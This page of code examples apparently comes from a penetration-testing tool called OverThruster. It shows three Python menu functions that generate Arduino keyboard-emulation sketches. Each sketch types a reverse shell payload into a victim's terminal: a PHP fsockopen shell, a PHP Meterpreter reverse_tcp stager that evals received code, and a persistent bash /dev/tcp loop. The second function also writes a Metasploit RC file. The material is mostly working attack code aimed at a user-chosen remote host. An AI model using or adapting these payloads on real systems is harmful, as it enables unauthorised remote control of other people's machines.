コード例 #1
0
ファイル: nixCore.py プロジェクト: n0rder/OverThruster
def nixOption2():

    done = False
    looper = False
    remoteIP=""
    remotePort=""
    fileName=""

    while looper != True:

        coreUtils.clearScreen()
        print("********************************************************************************************")
        print("*                                                                                          *")
        print("*                                   PHP Reverse Shell                                      *")
        print("*             This payload will initiate a reverse shell via PHP, requires PHP             *")
        print("*                   Options are: 1. remote IP 2. Listening Port                            *")
        print("*                                                                                          *")
        print("********************************************************************************************")
        print("\n")

        menu = {}
        menu['0'] = "Info"
        menu['1'] = "Set IP address of the remote server"
        menu['2'] = "Set the listening port of the remote server"
        menu['3'] = "Set Arduino sketch filename"
        menu['4'] = "Write Arduino sketch"
        menu['42']= "Return to previous menu"
        menu['99']= "Exit"

        options=list(menu.keys())
        options.sort(key=int)
        for entry in options:
            print(entry, menu[entry])

        print("\n\n")
        if remoteIP != "":
            print("IP of the remote server set to ->  " + remoteIP)
        if remotePort != "":
            print("Listening port on the remote server set to ->  " + remotePort)
        if fileName != "":
            print("Arduino filename set to ->  " + fileName)

        selection=input("\nPlease Select: ")

        if selection =='1':
            remoteIP = input("Please enter the IP address of the remote server to connect to: ")
        elif selection == '2':
            remotePort = input("Please enter the listening port on the remote server:")
        elif selection == '3':
            fileName = coreUtils.getFileName('revShellPHP.ino')
        elif selection == '4':
            if done == False:
                print("\nYou have not set all the options")
                input("Press Enter to return to the menu and set all the options")
            else:
                looper = True
        elif selection == '42':
            coreUtils.clearScreen()
            break
        elif selection == '99':
            exit()
        elif selection == '0':
            nfoCore.nix2info()
        else:
            print("\n\n***That is not a valid option!***\n\n")

        if remoteIP != "" and remotePort != "" and fileName != "":
            done = True

    if done == True and looper == True:

        payload = "void ReverseShell(){\n"
        payload += "Keyboard.println(\"php -r '$sock=fsockopen(\\\""+remoteIP+"\\\","+remotePort+");exec(\\\"/bin/sh -i <&3 >&3 2>&3\\\");'\");\n"
        payload += "  pressEnter();\n"
        payload += "}\n"

        payloadFunc = "ReverseShell();\n"

        nixWriteFile(fileName,payloadFunc, payload)
コード例 #2
0
ファイル: nixCore.py プロジェクト: n0rder/OverThruster
def nixOption3():

    done = False
    looper = False
    remoteIP=""
    remotePort=""
    fileName=""
    RCfile=""

    while looper != True:

        coreUtils.clearScreen()
        print("********************************************************************************************")
        print("*                                                                                          *")
        print("*                             PHP Meterpreter Reverse TCP                                  *")
        print("*         This payload will initiate a meterpreter/reverse_tcp via PHP, requires PHP       *")
        print("*                   Options are: 1. remote IP 2. Listening Port                            *")
        print("*                                                                                          *")
        print("********************************************************************************************")
        print("\n")

        menu = {}
        menu['0'] = "Info"
        menu['1'] = "Set IP address of the remote server"
        menu['2'] = "Set the listening port of the remote server"
        menu['3'] = "Set Arduino sketch filename"
        menu['4'] = "Set Metasploit RC File name"
        menu['5'] = "Write Arduino sketch"
        menu['42']= "Return to previous menu"
        menu['99']= "Exit"

        options=list(menu.keys())
        options.sort(key=int)
        for entry in options:
            print(entry, menu[entry])

        print("\n\n")
        if remoteIP != "":
            print("IP of the remote server set to ->  " + remoteIP)
        if remotePort != "":
            print("Listening port on the remote server set to ->  " + remotePort)
        if RCfile != "":
            print("Metasploit RC File name set to ->  " + RCfile)
        if fileName != "":
            print("Arduino filename set to ->  " + fileName)

        selection=input("\nPlease Select: ")

        if selection =='1':
            remoteIP = input("Please enter the IP address of the remote server to connect to: ")
        elif selection == '2':
            remotePort = input("Please enter the listening port on the remote server:")
        elif selection == '3':
            RCfile = coreUtils.getRCFileName('reverseMetPHP.rc')
        elif selection == '4':
            fileName = coreUtils.getFileName('reverseMetPHP.ino')
        elif selection == '5':
            if done == False:
                print("\nYou have not set all the options")
                input("Press Enter to return to the menu and set all the options")
            else:
                looper = True
        elif selection == '42':
            coreUtils.clearScreen()
            break
        elif selection == '99':
            exit()
        elif selection == '0':
            nfoCore.nix3info()
        else:
            print("\n\n***That is not a valid option!***\n\n")

        if remoteIP != "" and remotePort != "" and fileName != "" and RCfile !="":
            done = True

    if done == True and looper == True:
        payload = "void ReverseShell(){\n"
        payload += "Keyboard.println(\"php -r 'error_reporting(0); $ip = \\\""+remoteIP+"\\\"; $port = "+remotePort+"; if (($f = \\\"stream_socket_client\\\") && is_callable($f)) { $s = $f(\\\"tcp://{$ip}:{$port}\\\");"
        payload += "  $s_type = \\\"stream\\\"; } elseif (($f = \\\"fsockopen\\\") && is_callable($f)) { $s = $f($ip, $port); $s_type = \\\"stream\\\"; } elseif (($f = \\\"socket_create\\\") && is_callable($f))"
        payload += "  { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = \\\"socket\\\"; } else { die(\\\"no socket funcs\\\"); } if (!$s) { die(\\\"no socket\\\");"
        payload += "  } switch ($s_type) { case \\\"stream\\\": $len = fread($s, 4); break; case \\\"socket\\\": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack(\\\"Nlen\\\", $len); $len = $a[\\\"len\\\"];"
        payload += "  $b = \\\"\\\"; while (strlen($b) < $len) { switch ($s_type) { case \\\"stream\\\": $b .= fread($s, $len-strlen($b)); break; case \\\"socket\\\": $b .= socket_read($s, $len-strlen($b)); break;"
        payload += "  } } $GLOBALS[\\\"msgsock\\\"] = $s; $GLOBALS[\\\"msgsock_type\\\"] = $s_type; eval($b); die();'\");\n"
        payload += "  pressEnter();\n"
        payload += "}\n"

        payloadFunc = "ReverseShell();\n"

        nixWriteFile(fileName,payloadFunc, payload)
        coreUtils.msfRCfile(remoteIP,remotePort,'php/meterpreter/reverse_tcp',RCfile)
コード例 #3
0
ファイル: nixCore.py プロジェクト: n0rder/OverThruster
def NixOption1():

    done = False
    looper = False
    remoteIP=""
    remotePort=""
    fileName=""

    while looper != True:

        coreUtils.clearScreen()
        print("********************************************************************************************")
        print("*                                                                                          *")
        print("*                         Bash Reverse Shell without NetCat                                *")
        print("*             This payload will initiate a Bash reverse shell without Netcat               *")
        print("*                   Options are: 1. remote IP 2. Listening Port                            *")
        print("*                                                                                          *")
        print("********************************************************************************************")
        print("\n")

        menu = {}
        menu['0'] = "Info"
        menu['1'] = "Set IP address of the remote server"
        menu['2'] = "Set the listening port of the remote server"
        menu['3'] = "Set Arduino sketch filename"
        menu['4'] = "Write Arduino sketch"
        menu['42']= "Return to previous menu"
        menu['99']= "Exit"

        options=list(menu.keys())
        options.sort(key=int)
        for entry in options:
            print(entry, menu[entry])

        print("\n\n")
        if remoteIP != "":
            print("IP of the remote server set to ->  " + remoteIP)
        if remotePort != "":
            print("Listening port on the remote server set to ->  " + remotePort)
        if fileName != "":
            print("Arduino filename set to ->  " + fileName)

        selection=input("\nPlease Select: ")

        if selection =='1':
            remoteIP = input("Please enter the IP address of the remote server to connect to: ")
        elif selection == '2':
            remotePort = input("Please enter the listening port on the remote server:")
        elif selection == '3':
            fileName = coreUtils.getFileName('reverseCMD.ino')
        elif selection == '4':
            if done == False:
                print("\nYou have not set all the options")
                input("Press Enter to return to the menu and set all the options")
            else:
                looper = True
        elif selection == '42':
            coreUtils.clearScreen()
            break
        elif selection == '99':
            exit()
        elif selection == '0':
            nfoCore.nix1info()
        else:
            print("\n\n***That is not a valid option!***\n\n")

        if remoteIP != "" and remotePort != "" and fileName != "":
            done = True

    if done == True and looper == True:
        payload = "void ReverseShell(){\n"
        payload += "Keyboard.println(\"nohup bash -c \\\"while true;do bash -i >& /dev/tcp/" +remoteIP+ "/" +remotePort+ " 0>&1 2>&1; sleep 1;done\\\" 1>/dev/null &\");\n"
        payload += "  pressEnter();\n"
        payload += "}\n"

        payloadFunc = "ReverseShell();\n"

    nixWriteFile(fileName,payloadFunc, payload)